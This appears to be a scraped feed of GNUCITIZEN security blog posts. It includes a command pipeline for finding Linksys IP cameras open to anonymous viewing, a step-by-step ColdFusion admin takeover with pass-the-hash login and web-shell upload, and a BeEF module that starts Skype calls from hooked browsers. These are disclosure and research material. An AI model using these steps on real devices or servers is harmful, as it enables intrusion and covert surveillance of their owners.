<p><em>Details can be found on the attached <a href="http://www.gnucitizen.org/static/blog/2009/09/Avaya_Intuity_Remote_Command_Execution.pdf">PDF document</a>.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/N2mMnIALMMg" height="1" width="1"/>


title: Dnsmap v0.30 is now out!
source: http://feedproxy.google.com/~r/gnucitizen/~3/jfQ27_LNXEw/
author: pagvac
description:
<p>After working on <a href="http://dnsmap.googlecode.com/">dnsmap</a> for a few months whenever time allowed, I decided there were enough additional goodies to make <code>version 0.30</code> a new public release. Let me just say that a lot of the bugs that have been fixed, and features that have been added to this version would not be possible without the feedback from great folks such as Borys Lacki (<code>www.bothunters.pl</code>), Philipp Winter (<code>7c0.org</code>) and meathive (<code>kinqpinz.info</code>). Thanks guys, your feedback was highly valuable to me.</p>

<h3>New Features</h3>

<p>Anyways, the following are some of the new features included:</p>

<ul>
<li>IPv6 support</li>
<li>Makefile included</li>
<li>delay option (-d) added. This is useful in cases where dnsmap is killing your bandwidth</li>
<li>ignore IPs option (-i) added. This allows ignoring user-supplied IPs from the results. Useful for domains which cause dnsmap to produce false positives</li>
<li>changes made to make dnsmap compatible with OpenDNS</li>
<li>disclosure of internal IP addresses (RFC 1918) are reported</li>
<li>updated built-in wordlist</li>
<li>included a standalone three-letter acronym (TLA) subdomains wordlist</li>
<li>domains susceptible to <a href="http://snipurl.com/etbcv">same site scripting</a> are reported</li>
<li>completion time is now displayed to the user</li>
<li>mechanism to attempt to bruteforce wildcard-enabled domains</li>
<li>unique filename containing timestamp is now created when no specific output filename is supplied by user</li>
<li>various minor bugs fixed</li>
</ul>

<p>For those who have never used dnsmap, dnsmap is a command line tool originally released in 2006 which helps discover target subdomains and IP ranges during the initial stages of an infrastructure pentest. dnsmap is a passive(ish) discovery tool meant to be used before an actual active attack. It&#8217;s an alternative to other discovery techniques such as whois lookups, scanning large IP ranges, etc &#8230; Run dnsmap and you should be able spot netblocks of a target organization in a relatively short period of time.</p>

<blockquote>Dnsmap is open source and is known to work on Linux, FreeBSD and Windows using Cygwin, although it has mostly been tested on Linux.</blockquote>

<p><em>The major drawback is lack of multi-threading support, which I&#8217;m hoping will be included in the next public release. Life is busy these days, but I&#8217;ll try to spend some time on this project when time allows and inspiration is available!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/jfQ27_LNXEw" height="1" width="1"/>


title: Hacking Linksys IP Cameras (pt 6)
source: http://feedproxy.google.com/~r/gnucitizen/~3/I8vV1at9QvQ/
author: pagvac
description:
<p><em>This article is a continuation of the following GNUCITIZEN articles: <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">here</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">here</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">here</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/">here</a> and <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-5/">here</a>.</em></p>

<p>As we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. This method definitely works, but it can be very time consuming as it consists of scanning random IP addresses hoping that we&#8217;ll eventually come across the type of device we&#8217;re interested in.</p>

<p>The second method, which would be much faster in finding our target devices, would be to use a <a href="http://www.google.co.uk/search?ie=UTF-8&#038;q=inurl:/img/vr.htm">search engine</a> and query content that is unique to our target devices (e.g.: URLs, HTML title). This method, popularized by <a href="http://www.hackersforcharity.org/ghdb/?function=summary&#038;cat=18">GHDB</a> is simple and effective. The only issue I find with this strategy is that many of these IP cameras found happen to respond very slowly. This is probably due to other curious individuals running the same searches and accessing the same cameras.</p>

<p>The third method which would allow you to find more hidden Linksys IP cameras (i.e.: not cached by search engines a.k.a. the <a href="http://www.ericdigests.org/2002-2/hidden.htm">hidden web</a>), would consist of bruteforcing subdomains within dynamic domain names (DDNS) used by our target devices (Linksys IP cameras in this case). For instance, the following are some of the dynamic domain names supported by the WVC54GCA and WVC80N Linksys IP camera models:</p>

<ul>
<li><code>linksys-cam.com</code></li>
<li><code>mylinksyscamera.com</code></li>
<li><code>mylinksyshome.com</code></li>
<li><code>mylinksyscam.com</code></li>
<li><code>mylinksysview.com</code></li>
<li><code>linksysremotecam.com</code></li>
<li><code>linksysremoteview.com</code></li>
<li><code>linksyshomemonitor.com</code></li>
</ul>

<h3>Camera discovery process through subdomain bruteforcing</h3>

<p>We first save the aforementioned domains in a file, <code>doms</code> in this case. Then we use <a href="http://code.google.com/p/dnsmap/">dnsmap</a> to bruteforce subdomains for each of the domains included in <code>doms</code>.</p>

<p>Using dnsmap&#8217;s built-in wordlist:</p>

<pre><code>$ for i in `cat doms`;do dnsmap $i -r ~/ -i 64.14.13.199,216.39.81.84&done;</code></pre>

<p>Using a user-supplied wordlist, <code>wordlist_TLAs.txt</code> in this case, which is a three-letter acronym wordlist included with dnsmap v0.30:</p>

<pre><code>$ for i in `cat doms`;do dnsmap $i -w wordlist_TLAs.txt -r ~/ -i 64.14.13.199,216.39.81.84&done;</code></pre>

<p><em>Note: dnsmap&#8217;s <code>-i</code> option allows ignoring user-supplied IP addresses from the results. In this case, 64.14.13.199 and 216.39.81.84 belong to the <a href="http://www.tzo.com/">DDNS service provider</a>, and would therefore be regarded as false positives in this case (we&#8217;re only interested in IP cameras setup by their respective owners after all).</em> For more info on how to use dnsmap, checkout the <a href="http://code.google.com/p/dnsmap/source/browse/trunk/README.txt">README</a> file.</p>

<p>We then parse the IP addresses of the subdomains discovered by dnsmap:</p>

<pre><code>$ grep \# dnsmap*.txt | awk '{print $4}' | sort | uniq > ips.txt</code></pre>

<p>Next, we scan for ports that could potentially be used by a Linksys IP camera web server. In this case, we choose TCP ports 80, 1024 and 1025 as candidates:</p>

<pre><code>$ sudo nmap -v -T4 -n -P0 -sS -p80,1024,1025 -iL ips.txt -oA nmap_http_ports.`date +%Y-%m-%d-%H%M%S`</pre></code>

<p>This leaves us with a lot of discovered services, but we don't quite yet know which of them correspond to actual Linksys IP cameras web interfaces. There are many ways to fingreprint the web server of a Linksys IP camera. In this case we chose to create our own <a href="http://freeworld.thc.org/thc-amap/">amap</a> response signature, and then scan the open ports with amap.</p>

<p>Before amap is capable of identifying our target Linksys IP cams, the following response signature needs to be added to <code>appdefs.resp</code>, and amap then needs to be recompiled. Otherwise amap won't take the new signature into account:</p>

<pre><code>http-linksys-cam::tcp::^HTTP/.*\nServer: thttpd/.*Accept-Ranges: bytes.*WVC</code></pre>

<p>Please note that <em>the previous amap response signature was only tested against the WVC54GCA and WVC80N Linksys IP camera models.</em> So I'm not sure if it will work against other models. You've been warned!</p>

<p>Once recompiled, amap can be used to identify Linksys IP cameras from nmap's open ports results. </p>

<pre><code>$ amap -i nmap_http_ports.2010-02-22-102001.gnmap -R -S -o amap_results.`date +%Y-%m-%d-%H%M%S`</code></pre>

<p>We finally parse the IP addresses and open ports for all discovered Linksys IP cameras:</p>

<pre><code>$ grep http-linksys-cam amap_results.2010-02-22-102253 | awk '{print $3}' | cut -d \/ -f1
x.x.167.245:1024
x.x.228.231:1025
x.x.228.231:80
x.x.64.22:80
x.x.206.70:1024
x.x.31.4:1024
x.x.164.28:1024
<em>[snip]</em></code></pre>

<p>At this point we have accomplished the task of creating a list of Linksys IP cameras without resorting to search engines or scanning random IP addresses. In order to discover more Linksys cameras, a more comprehensive wordlist would need to be used with dnsmap.</p>

<p>Of course, even further automation would be possible. For instance, an attacker may wish to programmatically identify which Linksys cameras from the previous list allowing video viewing to unauthenticated users:</p>

<pre><code>$ amapfile=amap_results.2010-02-22-102253;for i in `grep http-linksys-cam $amapfile | awk '{print $3}' | cut -d \/ -f1`;do url="http://$i/img/main.cgi?next_file=main.htm";if curl --connect-timeout 2 -s -I --url $url | grep ^"HTTP/1.1 501">/dev/null;then echo $url;fi;done;
x.x.206.70:1024/img/main.cgi?next_file=main.htm
x.x.105.221:1024/img/main.cgi?next_file=main.htm
x.x.105.221:80/img/main.cgi?next_file=main.htm
x.x.181.195:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1025/img/main.cgi?next_file=main.htm
x.x.30.196:1025/img/main.cgi?next_file=main.htm
<em>[snip]</em></code></pre>

<p><em>In addition to automatically checking for anonymous video viewing on all cameras found, other tasks such as checking for default credentials (<code>admin</code>/<code>admin</code>) could also be scripted, although this will NOT be included in this post (or any other at GNUCITIZEN).</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/I8vV1at9QvQ" height="1" width="1"/>


title: 1ST European Edition of HITB Coming Up!
source: http://feedproxy.google.com/~r/gnucitizen/~3/ACja2OSf3Bs/
author: pagvac
description:
<p>In case you haven&#8217;t heard yet, HITBSecConf is hosting the first European Edition of their <a href="http://conference.hackinthebox.org/hitbsecconf2010ams/?page_id=24">conference</a> in Amsterdam during 1st-2nd July &#8217;10. The history of the HITB conferences can be traced back to 2002, the year in which the first ever edition of HITB took place in Malaysia. Since then, HITB has grown to become the biggest technical computer security event in Asia and has extended their presence to the Middle East and now Europe.</p>

<blockquote>HITB aims to congregate members of the security community from all circles. From academics, and well known infosec personalities to loner-type independent researchers, and hobbyists just to name a few. I&#8217;ve personally attended past editions in Kuala Lumpur and Dubai and loved that the attendees and speakers came from a wide variety of backgrounds. If you don&#8217;t believe me, check out the <a href="http://photos.hackinthebox.org/gallery/">pix</a> of past conferences and you&#8217;ll find sec nerds and corporate professionals all partying in unison. Indeed, the HITB conferences are not only educational, but among the most fun sec events I&#8217;ve had the chance to attend.</blockquote>

<p>Registration is still open, so you are still on time to take advantage of a great speaker lineup and one of the _de facto_ party capitals of Europe. The conference agenda can be found <a href="http://conference.hitb.org/hitbsecconf2010ams/agenda.pdf">here</a>.  I&#8217;m really looking forward to Niels Teusink&#8217;s <a href="http://blog.teusink.net/2010/05/presenting-at-hack-in-box-2010.html">presentation</a> on hacking Logitech wireless presenters and the release of detailed examples of JIT-spray techniques against IE8, FF3.6 by <a href="http://dsecrg.com/">Alexey Sintsov</a> (originally <a href="http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Slides-v2.pdf">discussed</a> by Dion Blazakis).</p>

<p>One more thing, almost forgot: there will be a bring-your-own-laptop <a href="http://conference.hitb.org/hitbsecconf2010ams/?page_id=41">web hacking challenge</a> at HITB EU.</p>

<p><em>See you at HITB Amsterdam next month!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/ACja2OSf3Bs" height="1" width="1"/>


title: ColdFusion directory traversal FAQ (CVE-2010-2861)
source: http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/
author: pagvac
description:
<p>A new Adobe <a href="http://www.adobe.com/support/security/bulletins/apsb10-18.html">hotfix</a> for ColdFusion has been released recently. The vulnerability which was discovered by Richard Brain, was rated as <a href="http://www.adobe.com/devnet/security/security_zone/severity_ratings.html">important</a> by Adobe and could affect a large number of Internet-facing web servers. The FAQ bellow is meant to shed some light on this vulnerability so that ColdFusion administrators can understand what they&#8217;re up against.</p>

<h3>The FAQ</h3>

<p>Finally, by producing this FAQ I will attempt to explain why (at least on certain setups) this vulnerability should have been granted a <strong>CRITICAL</strong> rating by Adobe, rather than Important. As we&#8217;ll see bellow, it is possible to fully compromise the underlying OS of a vulnerable ColdFusion server by exploiting this directory traversal vulnerability.</p>

<h4>How does the vulnerability work?</h4>

<p>The vulnerability is a variation of a classic directory traversal vulnerability, also referred to as arbitrary file retrieval. The attack involves tricking a server-side script to provide the contents of a file that it was not originally supposed to be made available. By moving up a few directory levels, the attacker is able to obtain the contents of files outside the application server&#8217;s webroot via special strings such as <code>../</code>. More information can be found on the <a href="http://www.owasp.org/index.php/Path_Traversal">OWASP</a> website.</p>

<h4>Is authentication required to exploit this vulnerability?</h4>

<p>NO. The attacker doesn&#8217;t require knowledge of any passwords in order to exploit the directory traversal bug.</p>

<h4>What&#8217;s the goal of the attacker when exploiting this vulnerability?</h4>

<p>Just as any other type of directory traversal vulnerability, the attacker would usually attempt to obtain source code of the target site in order to identify security vulneraibilities. Additionally, the attacker would most likely attempt to obtain configuration files containing sensitive information. For instance, in the case of ColdFusion the attacker would most likely attempt to read the contents of <code>neo-security.xml</code> and <code>password.properties</code>. These configuration files contain database connection credentials and the ColdFusion administrator password respectively. Depending on how <code>password.properties</code> has been setup, the ColdFusion admin password will be hashed or stored in clear-text (<code>encrypted=false</code>).</p>

<h4>What&#8217;s the worst that could happen once this vulnerability has been exploited successfully?</h4>

<p>As we&#8217;ll see at the end of this post, once the attacker has gained access to the CF admin console &#8211; e.g.: by cracking the admin password &#8211; it might be possible to fully compromise the underlying OS.</p>

<h4>How can the vulnerability be resolved?</h4>

<p>You can either apply Adobe&#8217;s <a href="http://kb2.adobe.com/cps/857/cpsid_85766.html">patch</a> or restrict access to the following directories and file from trusted IP addresses only: <code>/CFIDE/adminapi/ /CFIDE/administrator/ /CFIDE/componentutils/ /CFIDE/wizards/ /CFIDE/install.cfm</code></p>

<h4>What are the mitigating factors?</h4>

<p>This vulnerability cannot be exploited on ColdFusion 9.X when default settings are used, unless of course you figure out a way to get around the directory traversal signatures used by the filtering routines. Additionally, the ColdFusion administrator login console must be available to the attacker. It is however quite common to find CF admin consoles directly available on the Internet.</p>

<p><del datetime="2010-08-16T22:36:05+00:00">If a long and sufficiently random admin password is used, cracking the SHA1 hash could prove to be difficult. This is applicable to CF MX7, 8 and 9</del> (<strong>see UPDATE notes</strong>). Version 6 doesn&#8217;t hash the password, but instead encrypts it using a proprietary algorithm.</p>

<h4>What versions of ColdFusion are affected?</h4>

<p>According to the Adobe <a href="http://www.adobe.com/support/security/bulletins/apsb10-18.html">bulletin</a> the affected versions are <q>ColdFusion 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions for Windows, Macintosh and UNIX</q>. However, due to time constraints I have only personally confirmed the vulnerability on version 8.0.1 under Windows.</p>

<h4>Can you provide the actual exploit?</h4>

<p>No. ProCheckUp will provide the exploit details at a later date. Although Richard Brain privately shared POC URLs with me, I will not make them available. Exploit details were only provided to me as a trusted security analyst for purpose of assessing the impact of the vulnerability and help me write this FAQ in the hope that it will benefit the community.</p>

<p><strong>UPDATE:</strong> the <a href="http://www.exploit-db.com/exploits/14641/">exploit details</a> were published by an anonymous researcher on <em>14/08/2010</em>, probably worked out by reverse-engineering Adobe&#8217;s patches. ProCheckUp has also released the <a href="http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07">exploit details</a> as of <em>17/08/2010</em>.</p>

<h4>Can you describe a real attack scenario?</h4>

<p>The following a real attack scenario against ColdFusion 8 on a Windows server:</p>

<ol>
<li>Attacker confirms ColdFusion admin console is Internet facing. E.g. <code>http://target-domain.foo/CFIDE/administrator/index.cfm</code></li>
<li>Attacker exploits directory traversal vulnerability and obtains the contents of <code>C:\ColdFusion8\lib\password.properties</code>, which contains the ColdFusion admin password <div class="screen"><a href="http://www.gnucitizen.org/static/blog/2010/08/cf_dir_traversal_exploited.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/cf_dir_traversal_exploited-270x150.png" alt="" title="CF Dir Traversal Exploited PNG" width="270" height="150" class="alignnone size-thumbnail wp-image-3730" /></a></div></li>
<li>If the admin password was stored encrypted (actually CF8 hashes the admin password using the SHA1 algorithm, similar to CF MX7), the attacker then attempts to crack it via an offline password cracking attack or <a href="http://passcracking.com/">rainbow table</a> <a href="http://hashcrack.com/">lookup</a>. Note that the default setting in ColdFusion 8 is <code>encrypted=true</code> as per <code>password.properties</code> file. Otherwise, if the password is stored unencrypted (<code>encrypted=false</code>), there would be no need for password cracking.</li>
<li><strong>UPDATE:</strong> as suggested by <a href="http://blog.teusink.net/">Niels Teusink</a>, an attacker could login as the CF administrator without needing to crack the SHA1 hash. I verified his observation and can confirm it works well. You can follow these steps (tested on Firefox 3.6.8) to login using the SHA1 hash. i.e.: no need to crack the password hash: <ol><li>Configure your favorite MITM proxy &#8211; e.g. <a href="http://portswigger.net/proxy/">Burp</a> &#8211; to capture traffic between your browser and target CF admin console</li><li>Enter hash in password field of login form (usually located on <code>/CFIDE/administrator/enter.cfm</code>)</li><li>Type the following on your browser&#8217;s address bar and press enter (make sure JavaScript is enabled on your browser): <code>javascript:hex_hmac_sha1(document.loginform.salt.value,document.loginform.cfadminPassword.value)</code></li><li>Record value. e.g. <code>AFA9C9D917916DE6CE05C1BFEC0470E07A246CB0</code></li><li>Press browser&#8217;s Back button</li><li>Press Login on the login form (trapping/intercept mode should be enabled on your MITM proxy at this point)</li><li>Trap the login request and replace the value of the <code>cfadminPassword</code> parameter with the value recorded above</li><li>Forward request</li></ol></li>
<li>At this point, the attacker would be able to login as a CF admin and upload a <a href="http://michaeldaw.org/projects/web-backdoor-compilation">malicious CFM script</a> that would allow him to run remote commands (SYSTEM privileges by default). Uploading files to a CF server via the administrator console is a bit counter-intuitive. The attacker would basically add a scheduled task that would download cfexec.cfm to the server&#8217;s webroot <div class="screen"><a href="http://www.gnucitizen.org/static/blog/2010/08/backdoor_task.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/backdoor_task-170x150.png" alt="" title="CF Backdoor Task PNG" width="170" height="150" class="alignnone size-thumbnail wp-image-3705" /></a></div></li>
<li>At this point, the attacker has gained full control of the underlying Windows OS as the CF service runs with SYSTEM privileges by default <div class="screen"><a href="http://www.gnucitizen.org/static/blog/2010/08/command_execution2.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/command_execution2-362x150.png" alt="" title="CF Command Execution PNG" width="362" height="150" class="alignnone size-thumbnail wp-image-3725" /></a> <a href="http://www.gnucitizen.org/static/blog/2010/08/command_output.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/command_output-300x90.png" alt="" title="CF Command Output PNG" width="300" height="90" class="alignnone size-medium wp-image-3700" /></a></div></a></li>
</ol>

<p>If the CF admin password is hashed and the attacker is unable to crack it, he could always try to obtain the database connection credentials (<code>C:\ColdFusion8\lib\neo-datasource.xml</code>) which can be <a href="http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html">easily decrypted</a> and then directly authenticate to the backend DB server. This however wouldn&#8217;t normally be possible on a firewalled environment where the back-end DB server is not directly exposed to the Internet. Network access controls are your friends!</p>

<h3>Post Updates</h3>

<ul>
<li><strong>16/09/2010</strong> &#8211; new path added as part of blacklisting solution</li>
<li><strong>16/09/2010</strong> &#8211; added trick to login without cracking the CF admin password hash</li>
<li><strong>16/09/2010</strong> &#8211; mentioned recently published exploit code for the CF traversal vulnerability</li>
<li><strong>18/09/2010</strong> &#8211; fixed typos and mentioned release of exploit details by ProCheckUp</li>
</ul><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/hW7xDNKI7sM" height="1" width="1"/>


title: Having fun with BeEF, the browser exploitation framework
source: http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/
author: pagvac
description:
<p><em>We haven&#8217;t featured any guest bloggers in a while, but we&#8217;re glad to be featuring <a href="http://un-excogitate.org/">Chirstian Frichot</a> this month! Christian is a security professional based in Perth, Western Australia. He&#8217;s currently working in the finance industry as part of a tight-knit internal team of security consultants doing their best to protect their business and customers from technical threats such as malware or insecure web applications.</em></p>

<p><em>After having met <a href="http://www.bindshell.net/users/Wade">Wade Alcorn</a> (the initial author and project lead of BeEF), Christian mentioned his interest in helping out on the project where he could, which eventually led to Wade accepting his offer. The discussion was held over a couple of bottles of wine, so perhaps Wade&#8217;s regretting the decision now!</em></p>

<p><em>Christian&#8217;s role within the BeEF project, if it were to be defined, is odd-jobs-go-to-boy, command-module implementer, Ext-JS-fighter and twitter maintainer. When Christian is not working on BeEF, he&#8217;s doing his best to represent the Perth OWASP Chapter, or laying down crunchy beats on the drum-kit.</em></p>

<p><em>What follows are Chritian&#8217;s words on the BeEF project.</em><p>

<p>Sorry vegetarians, but BeEF is back. That&#8217;s right, the Browser Exploitation Framework is back, and it has now been rewritten from the ground up in Ruby. For those unfortunate people who haven&#8217;t had a chance to explore the older, PHP version of BeEF you&#8217;re only missing out on one of the greatest, most extensible XSS-payload management and exploitation frameworks out there, and the Ruby re-write is no different.</p>

<p>The Browser Exploitation Framework (BeEF) is a powerful, professional security tool. BeEF is pioneering techniques that provide the experienced penetration tester with practical client side attack vectors. Unlike other security frameworks, BeEF focuses on leveraging browser vulnerabilities to assess the security posture of a target.</p>

<p>One of the newer modules implemented in BeEF utilises the insecure handling of URL schemes in Apple&#8217;s iOS to trick Skype into starting an outbound call. This vulnerability was first written about by <a href="http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html">Nitesh Dhanjani</a> and highlights that with the growing popularity of these devices these sorts of issues may lead to losses of information or other negative impacting events. The module itself is as simple as:</p>

<pre><code>beef.execute(function() {
Â  Â document.body.innerHTML = &quot;&lt;iframe src=skype:&lt;%= @tel_num
%&gt;?call&gt;&lt;/iframe&gt;&quot;;

Â  Â beef.net.sendback(&quot;&lt;%= @command_url %&gt;&quot;, &lt;%= @command_id %&gt;,
&quot;result=IFrame Created!&quot;);
});</code></pre>

<p>which, once added to a particular hooked browsers command queue will simply execute upon next poll, and if they automatically authenticate to the Skype application, will initiate a call. Due to iOS&#8217; multi-tasking the Skype app does pop up to the top, so the end user is aware that the activity is occurring, but they&#8217;re not prompted to &#8220;confirm&#8221; the action. You can see this module demonstrated bellow:</p>

<div class="screen"><iframe title="YouTube video player" width="640" height="390" src="http://www.youtube.com/embed/5SVu6VdLWgs" frameborder="0" allowfullscreen></iframe></div>

<p>The current release is 0.4.2.1-alpha, but by release 0.5 (the Sirloin Release) we&#8217;re expecting to have at least all of the PHP BeEF functionality provided plus much more, including:</p>

<ol>
<li>jQuery included as part of the hooking process</li>
<li>Metasploit integration</li>
<li>Evercookie&#8217;s for persistence even after a hooked browser has been closed</li>
<li>full event logging, not just keystroke logging, to include window activation/deactivation, mouse clicks, etc</li>
<li>arbitrary HTTP requester</li>
<li>proxying</li>
<li>persistence modules (subtle popups or 100%x100% iframes)</li>
<li>detecting of social networking authentication status (as per <a href="http://grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information">this</a>)</li>
</ol>

<p>You can find out more about beef over at <a href="http://beef.googlecode.com">http://beef.googlecode.com</a> or
by following the <a href="http://twitter.com/beefproject">@beefproject</a>.</p>

<p><em>BeEF &#8211; Get it into ya!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/ekJpPZt6-pA" height="1" width="1"/>


title: Stuxnet
source: http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/
author: pdp
description:
<p>I have been avoiding the topic about Stuxnet for quite some time, mainly because there were many others who spent the time to take the virus apart. However, here is a video, which I find rather amusing:</p>

<div class="screen"><iframe width="560" height="349" src="http://www.youtube.com/embed/7g0pi4J8auQ" frameborder="0" allowfullscreen></iframe></div>

<p><em>Wether this is the real deal or simply fear mongering, I simply don&#8217;t know. It is all speculations at the moment. The only thing we can say is that it is difficult to deny the fact that computers are important and whoever has control over them has control over people lives and can influence a lot of things including politics.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/Nt7uWV9YX6Y" height="1" width="1"/>


title: Well Websecurify Runs on The iPhone
source: http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/
author: pdp
description:
<p>This is not necessarily news anymore since it was <a href="http://blog.websecurify.com/2011/08/websecurify-for-iphone-preview.html">discussed</a> on the Websecurify official blog but we are so excited about it that we could not hold ourselves from posting it here too.</p>

<div class="screen"><object style="height: 390px; width: 640px"><param name="movie" value="http://www.youtube.com/v/19U37T7F8Lw?version=3"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"><embed src="http://www.youtube.com/v/19U37T7F8Lw?version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="640" height="390"></embed></param></object></div>

<p>The testing engine used in this particular version of Websecurify is optimized to run with the least possible amount of memory. The results of the scanner are as good as those produced by all other Websecurify variants although in some cases it may miss some statistically unlikely types of issues. This is not directly and only applicable to the iPhone version. No! Similar tradeoffs are also present even in standard desktop/server based scanners although they are usually less visible and obscured behind tones of options. The bottom line is that the scanner not only runs natively on the iOS but also works as expected.</p>

<blockquote>Now this is exciting! Websecurify is the first in the world mobile web application testing technology.</blockquote>

<p>If you have any suggestions, recommendations or general feedback please do let us know. You can also <a href="https://spreadsheets.google.com/spreadsheet/viewform?formkey=dEFlRENtdnJKSTJaeC13TjhHaVduckE6MQ">participate</a> in the beta test program which will allow you to have a play with tool as we are polishing it for the official release.</p>

